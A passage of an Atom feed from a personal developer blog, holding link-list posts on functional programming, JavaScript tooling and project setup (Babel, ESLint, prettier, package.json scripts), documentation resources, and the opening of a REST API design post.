&lt;li&gt;&lt;a href="http://phili.pe/posts/postgresql-on-the-command-line/"&gt;PostgreSQL on the Command Line&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sheeju.github.io/2015/10/postgres-table-partitioning-big-weather-table.html"&gt;Postgresql Table Partitioning&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://hasura.io/blog/the-unofficial-guide-to-jsonb-operators-in-postgres/"&gt;The unofficial guide to JSONB operators in Postgres - Part 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://korben.info/pense-bete-sql-a-telecharger.html"&gt;Pense-bête SQL à télécharger&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Databases"></category><category term="database"></category><category term="sql"></category><category term="postgresql"></category><category term="mysql"></category><category term="sqlite"></category></entry><entry><title>Introduction To Functional Programming</title><link href="https://romainpellerin.eu/introduction-to-functional-programming.html" rel="alternate"></link><published>2015-10-21T23:30:00+02:00</published><updated>2017-11-10T21:09:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2015-10-21:/introduction-to-functional-programming.html</id><summary type="html">&lt;p&gt;What is functional programming, some resources and how to start painlessly&lt;/p&gt;</summary><content type="html">&lt;h1 id="functional-programming-is-the-new-hotness-or-not"&gt;Functional programming is the new hotness... or not&lt;/h1&gt;
&lt;p&gt;Functional programming, or &lt;strong&gt;FP&lt;/strong&gt; to its friends, is a quite old paradigm, but still very little used. Here are some useful resources to get started with this, &lt;strong&gt;easily&lt;/strong&gt;.&lt;/p&gt;
&lt;h1 id="resources"&gt;Resources&lt;/h1&gt;
&lt;h2 id="general"&gt;General&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://medium.com/@jugoncalves/functional-programming-should-be-your-1-priority-for-2015-47dd4641d6b9"&gt;Functional Programming should be your #1 priority for 2015&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://adit.io/posts/2013-04-17-functors,_applicatives,_and_monads_in_pictures.html"&gt;Functors, Applicatives, And Monads In Pictures&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/k33g/files/tree/master/functional"&gt;https://github.com/k33g/files/tree/master/functional&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=d-h0rsLKc9c"&gt;Apéro fonctionnel (P. Charrière - N. Leroux - E. Issartial - Q. Adam - T. Guenoux)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/hemanth/functional-programming-jargon"&gt;Jargon from the functional programming world in simple terms!&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="fp-with-javascript"&gt;FP with Javascript&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c"&gt;The Rise and Fall and Rise of Functional Programming (Composing Software)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/MostlyAdequate/mostly-adequate-guide"&gt;Mostly Adequate Guide To FP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/javascript-scene/master-the-javascript-interview-what-is-functional-programming-7f218c68b3a0"&gt;Master the JavaScript Interview: What is Functional Programming?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jrsinclair.com/articles/2016/gentle-introduction-to-functional-javascript-intro/"&gt;A GENTLE INTRODUCTION TO FUNCTIONAL JAVASCRIPT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.promisejs.org/"&gt;Promises #1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://javascriptplayground.com/blog/2015/02/promises/"&gt;Promises #2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://strongloop.com/strongblog/how-to-generators-node-js-yield-use-cases/"&gt;Generators (with &lt;code&gt;yield&lt;/code&gt;)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://koush.com/post/yield-await-v8"&gt;&lt;code&gt;yield&lt;/code&gt;/&lt;code&gt;await&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/1.6"&gt;ECMAScript 6&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7"&gt;ECMAScript 7&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/danharper/74a5102363fbd85f6b67"&gt;Promises - &lt;code&gt;async&lt;/code&gt;/&lt;code&gt;await&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://javascriptplayground.com/blog/2014/04/real-life-es6-arrow-fn/"&gt;ES6 Arrow functions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://casualjavascript.com/javascript/es6/haskell/native/implementation/2015/11/12/haskell-in-es6-part-1.html"&gt;Haskell in ES6: Part 1&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="scala"&gt;Scala&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://blog.clement.delafargue.name/posts/2015-05-19-fp-patterns-scala-beginners.html"&gt;FP patterns for Scala beginners&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="haskell"&gt;Haskell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://wiki.haskell.org/Learn_Haskell_in_10_minutes"&gt;Learn Haskell in 10 minutes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://learnyouahaskell.com/chapters"&gt;Learn You a Haskell For Great Good!&lt;/a&gt; (&lt;a href="http://lyah.haskell.fr/"&gt;French version&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.haskellstack.org/en/stable/README/"&gt;The Haskell Tool Stack&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="erlang"&gt;Erlang&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://learnyousomeerlang.com/content"&gt;Learn You Some Erlang For Gread Good!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.wired.com/2015/09/whatsapp-serves-900-million-users-50-engineers/"&gt;Why WhatsApp Only Needs 50 Engineers for Its 900M Users&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Code"></category><category term="javascript"></category><category term="code"></category><category term="functional programming"></category><category term="fp"></category></entry><entry><title>JavaScript</title><link href="https://romainpellerin.eu/javascript.html" rel="alternate"></link><published>2015-10-21T23:00:00+02:00</published><updated>2025-02-05T16:25:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2015-10-21:/javascript.html</id><summary type="html">&lt;p&gt;Why Javascript is the new hotness&lt;/p&gt;</summary><content type="html">&lt;h1 id="dates"&gt;Dates&lt;/h1&gt;
&lt;p&gt;Use &lt;a href="https://github.com/date-fns/date-fns"&gt;date-fns&lt;/a&gt;. It is &lt;a href="https://github.com/date-fns/date-fns/issues/275"&gt;lighter&lt;/a&gt; than Moment.js. And it is &lt;a href="https://twitter.com/dan_abramov/status/805030922785525760"&gt;immutable&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="a-word-on-eslint"&gt;A word on ESlint&lt;/h1&gt;
&lt;p&gt;ESlint is probably the most popular linter for JavaScript. It is also very convenient and benefits from a large community. That is why I use it.&lt;/p&gt;
&lt;p&gt;When I started using, I got confused by two different things: &lt;a href="http://eslint.org/docs/developer-guide/shareable-configs"&gt;shareable configs&lt;/a&gt; and &lt;a href="http://eslint.org/docs/developer-guide/working-with-plugins"&gt;plugins&lt;/a&gt;. This &lt;a href="https://groups.google.com/forum/#!topic/eslint/ttZUG3v7vn0"&gt;thread&lt;/a&gt; explains the difference between the two quite well. Here is my version:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Plugins are like function definitions (a set of custom rules). Configs are like actual calls to thoses functions (pre-defined configuration of rules - like whether they're enabled or not, and how they are configured).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id="how-to-start-a-new-javascript-project"&gt;How to start a new JavaScript project?&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;⚠️ UPDATE 2025: &lt;a href="https://2ality.com/2025/02/typescript-esm-packages.html"&gt;Tutorial: publishing ESM-based npm packages with TypeScript&lt;/a&gt; ⚠️&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If it is a simple project or a NPM package, I recommend having two distinct folders: &lt;code&gt;src&lt;/code&gt; for sources and &lt;code&gt;dist&lt;/code&gt; for builds.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Now, do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git init
git add remote origin ... &lt;span class="c1"&gt;# If need be&lt;/span&gt;
npm init
yarn add --dev babel-cli babel-preset-es2015
yarn add --dev eslint
yarn add --dev eslint-config-standard &lt;span class="se"&gt;\&lt;/span&gt;
               eslint-plugin-standard &lt;span class="se"&gt;\&lt;/span&gt;
               eslint-plugin-promise &lt;span class="se"&gt;\&lt;/span&gt;
               eslint-plugin-import &lt;span class="se"&gt;\&lt;/span&gt;
               eslint-plugin-node
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We use &lt;code&gt;babel&lt;/code&gt; to transpile our code, to better support old versions of NodeJS.&lt;/p&gt;
&lt;p&gt;Regarding the last line, the config &lt;a href="https://github.com/feross/eslint-config-standard"&gt;eslint-config-standard&lt;/a&gt; sets the configuration of these four plugins: &lt;code&gt;standard&lt;/code&gt;, &lt;code&gt;promise&lt;/code&gt;, &lt;code&gt;import&lt;/code&gt; and &lt;code&gt;node&lt;/code&gt;. That is why we need to install them alongside the shareable config. Of course it is a config for &lt;code&gt;eslint&lt;/code&gt;, that is why we installed it on the previous line.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yarn add prettier-eslint-cli
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Normally, &lt;a href="https://github.com/prettier/prettier-eslint"&gt;&lt;code&gt;prettier-eslint&lt;/code&gt;&lt;/a&gt; only operates on strings, not on files. &lt;code&gt;prettier-eslint-cli&lt;/code&gt; will provide you with a command to apply &lt;code&gt;prettier-eslint&lt;/code&gt; on files.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is &lt;code&gt;prettier-eslint&lt;/code&gt; meant for?&lt;/strong&gt; Well, under the hood it calls &lt;a href="https://github.com/prettier"&gt;&lt;code&gt;prettier&lt;/code&gt;&lt;/a&gt; (probably the best JavaScript formatter to date) and then &lt;code&gt;eslint --fix&lt;/code&gt; to format your code. Twice. But there's &lt;a href="https://github.com/prettier/prettier-eslint#the-problem"&gt;a reason for that&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now we need to configure &lt;code&gt;eslint&lt;/code&gt; to tell it to use standard as its style.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;To use the standard style with ESlint, create &lt;code&gt;.eslint&lt;/code&gt; in the root directory of your project and write:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;{
    &amp;quot;extends&amp;quot;: &amp;quot;standard&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add a badge to your &lt;code&gt;README.md&lt;/code&gt;: &lt;a href="https://badge.fury.io/for/js"&gt;badge.fury.io/for/js&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Configure &lt;code&gt;package.json&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;quot;scripts&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;test&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;echo \&amp;quot;Error: no test specified\&amp;quot; &amp;amp;&amp;amp; exit 1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;build&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;babel src --presets babel-preset-es2015 --out-dir dist&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;format&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;prettier-eslint \&amp;quot;src/*.js\&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;lint&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;eslint src&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;check&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;npm run lint &amp;amp;&amp;amp; npm run test&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://ehret.me/node-env-vars/"&gt;Set up environment variables if need be via &lt;code&gt;.npmrc&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;All set!&lt;/p&gt;
&lt;h1 id="resources"&gt;Resources&lt;/h1&gt;
&lt;h2 id="nodejs"&gt;NodeJS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://node.green/"&gt;Node.js ES2015/ES6, ES2016 and ES2017 support&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=RIRB2AFrPV8"&gt;Node js comme les grands (Romain Maton)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/i0natan/nodebestpractices"&gt;Node.js Best Practices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="set-up-your-environment"&gt;Set-up your environment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://eslint.org/docs/user-guide/getting-started"&gt;Getting Started with ESLint&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="documentation"&gt;Documentation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://usejsdoc.org/index.html"&gt;JSDoc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/senchalabs/jsduck"&gt;JSDuck&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="general"&gt;General&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=t52gxrBGAIQ"&gt;Dans cette jungle de l’outillage JavaScript, un retour à la simplicité est-... (Hubert SABLONNIÈRE)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://30secondsofcode.org/"&gt;30 seconds of code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ryanmcdermott/clean-code-javascript"&gt;Clean Code concepts adapted for JavaScript&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://2ality.com/2017/12/alternate-this.html"&gt;A different way of understanding this in JavaScript&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dorey.github.io/JavaScript-Equality-Table/"&gt;JavaScript Equality Table&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.sessionstack.com/tagged/tutorial"&gt;How JavaScript Works&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://js.foundation/announcements/2016/10/17/Linux-Foundation-Unites-JavaScript-Community-Open-Web-Development/"&gt;The Linux Foundation Unites JavaScript Community for Open Web Development&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hackernoon.com/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f"&gt;How it feels to learn JavaScript in 2016&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ponyfoo.com/articles/es6"&gt;ES6 Overview in 350 Bullet Points&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://chimera.labs.oreilly.com/books/1234000000262"&gt;Programming JavaScript Applications (book)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=wfMtDGfHWpA"&gt;Composition over Inheritance&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://addyosmani.com/resources/essentialjsdesignpatterns/book/"&gt;Learning JavaScript Design Patterns (book)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@_cmdv_/i-want-to-learn-javascript-in-2015-e96cd85ad225"&gt;Want to learn JavaScript in 2015 / 2016?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/getify/You-Dont-Know-JS"&gt;You Don't Know JS (book series)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@housecor/12-rules-for-professional-javascript-in-2015-f158e7d3f0fc"&gt;12 Rules for Professional JavaScript in 2015&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.js-attitude.fr/2013/01/21/dix-bonnes-pratiques-javascript"&gt;10 bonnes pratiques JavaScript&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.kirupa.com/html5/a_deeper_look_at_objects_in_javascript.htm"&gt;A Deeper Look at Objects in JavaScript&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/javascript-scene/10-interview-questions-every-javascript-developer-should-know-6fa6bdf5ad95"&gt;10 Interview Questions Every JavaScript Developer Should Know&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.boyet.com/blog/javascriptlessons/javascript-an-acceptable-use-of-double-equals-just/"&gt;JavaScript: an acceptable use of double-equals? Just.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sametmax.com/un-gros-troll-de-plus-sur-javacscript/"&gt;Un gros Troll de plus sur Javascript&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/airbnb/javascript"&gt;Some really good best practices from Airbnb&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=7XZWqF2aHuI"&gt;DevFest Nantes 2015 - Découvrir ES6 par le code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://webapplog.com/es6/"&gt;Top 10 ES6 Features Every Busy JavaScript Developer Must Know&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://putaindecode.io/fr/evenements/2015/calendrier-avent/"&gt;ES6/ES2015 en 24 jours&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/javascript-scene/must-see-javascript-dev-tools-that-put-other-dev-tools-to-shame-aca6d3e3d925"&gt;Must See JavaScript Dev Tools That Put Other Dev Tools to Shame&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/oneuijs/You-Dont-Need-jQuery"&gt;You Don't Need jQuery&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.sitepoint.com/how-to-schedule-background-tasks-in-javascript"&gt;How to Schedule Background Tasks in JavaScript&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.yld.io/2016/05/10/introducing-queues/"&gt;INTRODUCING QUEUES IN NODE.JS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/k33g/files/tree/master/javascript"&gt;https://github.com/k33g/files/tree/master/javascript&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mathiasbynens.be/notes/es6-const"&gt;ES6 const is not about immutability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.2ality.com/2016/02/ecmascript-2017.html"&gt;ECMAScript 2017: the final feature set&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@thekevinscott/emojis-in-javascript-f693d0eb79fb"&gt;Emojis in Javascript&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://2ality.com/2017/04/transpiling-dependencies-babel.html"&gt;Transpiling dependencies with Babel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thomashunter.name/blog/running-a-node-js-process-on-debian-as-a-systemd-service/"&gt;Running a Node.js process on Debian as a Systemd Service&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/dev-channel/the-cost-of-javascript-84009f51e99e"&gt;The Cost Of JavaScript&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hackernoon.com/javascript-hacks-for-es6-hipsters-67d633ce8ace"&gt;JavaScript hacks for ES6 hipsters&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vanillajstoolkit.com/"&gt;The Vanilla JavaScript Toolkit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;[Arrow Functions in Class Properties Might Not Be As Great As We Think](https://medium.com/@charpeni/arrow-functions-in-class-properties-might-not-be-as-great-as-we-think-3b3551c440b1&lt;/li&gt;
&lt;li&gt;&lt;a href="http://dmitrysoshnikov.com/ecmascript/chapter-8-evaluation-strategy/"&gt;ECMA-262-3 in detail. Chapter 8. Evaluation strategy.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jakearchibald.com/2021/export-default-thing-vs-thing-as-default/"&gt;&lt;code&gt;export default thing&lt;/code&gt; is different to &lt;code&gt;export { thing as default }&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jakearchibald.com/2021/last-return-wins/"&gt;In JS functions, the 'last' return wins&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="some-cool-nodenpm-stuffpackagestools"&gt;Some cool node/npm stuff/packages/tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.risingstack.com/how-to-become-a-better-node-js-developer-in-2016/"&gt;How to Become a Better Node.js Developer in 2016&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.heroku.com/archives/2015/11/10/node-habits-2016"&gt;10 Habits of a Happy Node Hacker (2016)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/chovy/node-startup"&gt;node-startup: startup script for Linux-based systems for running node app when rebooting using an /etc/init.d script&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/mafintosh/peerflix"&gt;peerflix&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://radek.io/2015/10/27/nodegit/"&gt;nodegit: manipulating git repositories with Node.js&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.keithcirkel.co.uk/how-to-use-npm-as-a-build-tool/"&gt;How to Use npm as a Build Tool&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://krasimirtsonev.com/blog/article/javascript-library-starter-using-webpack-es6"&gt;Start your own JavaScript library using webpack and ES6&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/shime/livedown"&gt;Livedown&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://docs.sequelizejs.com/en/v3/"&gt;Sequelize: a promise-based ORM for Node.js (PostgreSQL, MySQL, MariaDB, SQLite and MSSQL)&lt;/a&gt; + &lt;a href="https://github.com/dchester/epilogue"&gt;Epilogue: create flexible REST endpoints and controllers from Sequelize models in your Express app&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="closures"&gt;Closures&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://renderedtext.com/blog/2015/11/18/closures-are-not-magic/"&gt;Closures are not magic&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In loops, they are a common issue. Here is how to solve it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures"&gt;Before ECMAScript 6 (double closures)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.sitepoint.com/preparing-ecmascript-6-let-const/"&gt;After ECMAScript 6 (the let keyword)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="testing"&gt;Testing&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://karma-runner.github.io/1.0/index.html"&gt;Karma&lt;/a&gt; with &lt;a href="https://jasmine.github.io/"&gt;Jasmine&lt;/a&gt; (&lt;strong&gt;edit March 14, 2017: I'd rather recommend going with Jest instead of Jasmine. Karma is different from Jest or Jasmine, it runs tests within web browsers, whereas plain Jasmine/Jest use Nodejs&lt;/strong&gt;)&lt;/li&gt;
&lt;/ul&gt;</content><category term="Code"></category><category term="javascript"></category><category term="code"></category><category term="web"></category><category term="node"></category></entry><entry><title>Documentation</title><link href="https://romainpellerin.eu/documentation.html" rel="alternate"></link><published>2015-09-25T12:00:00+02:00</published><updated>2017-01-18T01:50:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2015-09-25:/documentation.html</id><summary type="html">&lt;p&gt;Resources related to documentation&lt;/p&gt;</summary><content type="html">&lt;h1 id="create-your-documentation"&gt;Create your documentation&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://readthedocs.org/"&gt;Read the Docs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="real-world-documentations"&gt;Real world documentations&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://devdocs.io/express/"&gt;All the documentations about EVERYTHING (DevDocs)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://overapi.com/"&gt;All the cheatsheets about EVERYTHING (OverAPI)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zealdocs.org/"&gt;Zeal: offline documentation browser for software developers&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Code"></category><category term="code"></category><category term="documentation"></category></entry><entry><title>Designing An Efficient REST API</title><link href="https://romainpellerin.eu/designing-an-efficient-rest-api.html" rel="alternate"></link><published>2015-09-24T18:00:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2015-09-24:/designing-an-efficient-rest-api.html</id><summary type="html">&lt;p&gt;How to write beautiful and efficient REST APIs&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: see the bottom.&lt;/p&gt;
&lt;p&gt;Most of the time, the only purpose of an API is to give clients (a mobile application, a web site, a software program, a web browser, etc) access to a remote database (thus a server), for storing data (or making complex calculations sometimes).
&lt;strong&gt;The scheme is very simple: the server waits for incoming requests and responds accordingly. On the other hand, clients occasionally send requests, either to perform an action (saving, updating or deleting data), or to retrieve data.&lt;/strong&gt;&lt;/p&gt;
